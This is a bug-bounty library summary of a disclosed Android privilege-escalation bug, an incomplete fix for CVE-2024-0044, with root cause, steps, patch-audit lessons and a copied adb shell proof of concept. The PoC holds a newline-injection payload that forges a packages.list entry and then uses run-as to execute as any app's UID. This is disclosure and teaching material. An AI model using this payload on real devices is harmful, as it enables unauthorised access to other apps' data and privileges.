# Reviving an already patched vulnerability for half a year? The second spring of CVE-2024-0044

Incomplete patch for CVE-2024-0044 left the separate installerPackageName argument unvalidated, letting adb shell inject a newline and run-as any app UID.

- Payout: unconfirmed
- Severity: high
- Program: Google
- Found by: canyie
- Disclosed: 2024-10-08
- CVE: CVE-2024-0044
- Write-up quality: 8/10
- Original: https://blog.canyie.top/2024/10/08/CVE-2024-0044/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-canyie-top-2024-10-08-cve-2024-0044
- Tags: area:mobile domain:mobile impact:privesc kind:bounty platform:blog sev:high tech:android technique:incomplete-fix technique:source-review vuln:access-control vuln:privilege-escalation

**Target:** Android framework PackageInstallerService.createSession (PackageManagerService)
**Root cause:** The patch validated params.installerPackageName but not the separate installerPackageName argument to createSession; when params.installerPackageName is null/invalid, requestedInstallerPackageName falls back to the unvalidated argument, which is later used to write packages.list.
**Steps:**
1. Build PoC apk, push to /data/local/tmp/poc.apk
2. Run via adb shell: `app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "@nullvictim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"`
3. The payload newline-injects into packages.list via the unvalidated installerPackageName argument
4. Run `run-as victim` to execute as the victim app UID
**How found:** Code review of the patch: noticed requestedInstallerPackageName falls back to the separate installerPackageName argument when params.installerPackageName is null/invalid, and that the added CTS test only exercises the public API which never customizes installerPackageName, so the fix was never actually tested against the pm/adb path.
**Exploitation:** Attacker with adb access calls createSession with a crafted installerPackageName containing a newline and forged packages.list entry; the framework writes it to packages.list, and run-as then resolves the victim UID, granting code execution under any app's UID.
**Insight:** When auditing a patch, check every input path that reaches the sink, not just the field the patch touched; and check whether the regression test exercises the same API surface as the original PoC (here the CTS test used the public API, missing the pm/adb path that passes installerPackageName separately).

## Proof of concept (copied exactly from the original report)

**adb shell PoC command with payload**

```
APK=/data/local/tmp/poc.apkPAYLOAD="@nullvictim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"run-as victim
```

